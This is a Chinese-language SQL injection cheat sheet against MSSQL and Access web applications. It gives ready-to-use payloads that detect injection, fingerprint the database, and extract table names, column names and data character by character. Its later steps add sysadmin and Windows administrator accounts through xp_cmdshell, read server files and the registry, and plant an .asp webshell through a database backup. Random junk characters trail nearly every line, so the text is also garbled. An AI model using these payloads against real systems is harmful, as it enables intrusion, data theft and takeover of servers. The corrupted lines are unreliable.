1.判断是否有注入;and 1=1 ;and 1=2 \9i.dF
2.初步判断是否是mssql ;and user>0 |RAi6;
ED"5y
3.注入参数是字符'and [查询条件] and ''=' Y#{KGVT<
',6QL4qV/
4.搜索时没过滤参数的'and [查询条件] and '%25'=' < W/-[ M
=t&B8+6
5.判断数据库系统 *xU^e`P
tJ.LPgfZ
;and (select count(*) from sysobjects)>0 mssql cGsxfwD
6l [TQ
;and (select count(*) from msysobjects)>0 access p4Vw`i+DnH
'iMI&?8u
,$vc*}yI0
p`Omcl~Q
6.猜数据库 ;and (select Count(*) from [数据库名])>0 w69`vK
x}N+vK
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 fPK|Nw]b
&!/L^Y*+
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 ID'@}69.S
qg:1
9.(1)猜字段的ascii值(access) N_q7ip%z
pR 1 v^m|
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 Wz:MPdz3(
k%NY,(:(
(2)猜字段的ascii值(mssql) -hp,O?PM
8,dCx}X
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 0NpxqeIDY
1.yw\ZC\
10.测试权限结构(mssql) _h@7>+vl~
&sJpn*W
pVt-7AgW
I g-VSQ
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- Ao`9 fI#q
;n7k_K#0z!
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- %>xW_5;Z
&E {/s
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- 6$)Yqg`X
L V33vy
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- W|D'S}J
[ "J
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- EW#.)@-
9N=Dls
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- X_Y$-I$qd
i0p"q p
;and 1=(select IS_MEMBER('db_owner'));-- $3Wl~
G}
a/L?R
Uu
?@_3B]Fs
39"8Nq|e
11.添加mssql和系统的帐户 \+Qx}bS{
j*W]^uT,
;exec master.dbo.sp_addlogin username;-- 5>}L3r>a;
;exec master.dbo.sp_password null,username,password;-- {U^mL6=&v
oc\rQ?
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- }4_izKS
7i334iQZ
;exec master.dbo.xp_cmdshell 'net user username password te" 8ZmJ
a4g=cs<9}
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- vWe)c J
8EbYk2j
;exec master.dbo.xp_cmdshell 'net user username password /add';-- _~Lhc'^p*
s}`=pk/FM
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- V%e'H>EC
YaSwn3i/@S
v[m/>l2[P
ZwO&G\A^
12.(1)遍历目录 n8zUL1:R
S5m1~fz
;create table dirs(paths varchar(100), id int) u"pn'H
`9S<E
;insert dirs exec master.dbo.xp_dirtree 'c:\' vhWj_\m
f_D1zU^
;and (select top 1 paths from dirs)>0 /,E%)K;
6sQ"go$}
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) QnaMjDh$6
<Er|s^C
bhe|q`1,E
I \vu?$w
(2)遍历目录 6G@_!i*2F
Ms^Y:,;Hi
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- .o|Gk
5)
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
9l{r&]
Am kHVg
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 C/!2q$
]>R`]U9*O
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 xiA9X]FB
_6=6 b!hD
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 .%WbXs
x0Tb7y`
iKp4@6an
Pb]s+1
13.mssql中的存储过程 ;K$E;ZhPN
]0m4esK`
xp_regenumvalues 注册表根键, 子键 VCbnS191*
OWOj|jM
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 G;fP
apGf@b
xp_regread 根键,子键,键值名 VWLou
jB
bmt2~!
;exec xp_regread c?<FMb3]
rf)\:75
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 ^>9M2O['!s
n]9y Cr
xp_regwrite 根键,子键, 值名, 值类型, 值 J,{sRb%
'ky'GzX,
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 w?!@fu
*QjFrw3
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 )JuD !
o5Pq>Y2T
xp_regdeletevalue 根键,子键,值名 O^U{I?gQ
wk8XD(&
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 T!v%NZj3
K +w3YA
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 }p8a'3@Z
(U$ F) 7
= UTv
*(o~pxFTR
14.mssql的backup创建webshell \:-; {
_5.7HEw>/
use model 1S.nqOfx
8@b@y|#]X
create table cmd(str image); J
tYnBg?[E
#@y4/JS&2
insert into cmd(str) values (''); ^P&y9dC.
p(U'c}@2
backup database model to disk='c:\l.asp'; nBGk %NM 8
93o}vy->
[[[p@d/Y
n!3_%K0!r&
15.mssql内置函数 "hs`Y4U
/A<L
;and (select @@version)>0 获得Windows的版本号 EVRg/{X
kCN9`9XI{
;and user_name()='dbo' 判断当前系统的连接用户是不是sa \!G&:<h
@Cw<wrem
;and (select user_name())>0 爆当前系统的连接用户 q\mVZyj
j>?c]h{-
;and (select db_name())>0 得到当前连接的数据库 SBeb}LZ
8LR_K]\
5&+
qX
2b
kS=OX5
16.简洁的webshell EkjO4=~UC
roW8 4x
use model /p X\)wi
e:!&y\'"9
create table cmd(str image); t55
'
0QEVL6gw
insert into cmd(str) values (''); U.?,vw'aai
/Pi{Mv eZM
backup database model to disk='g:\wwwtest\l.asp';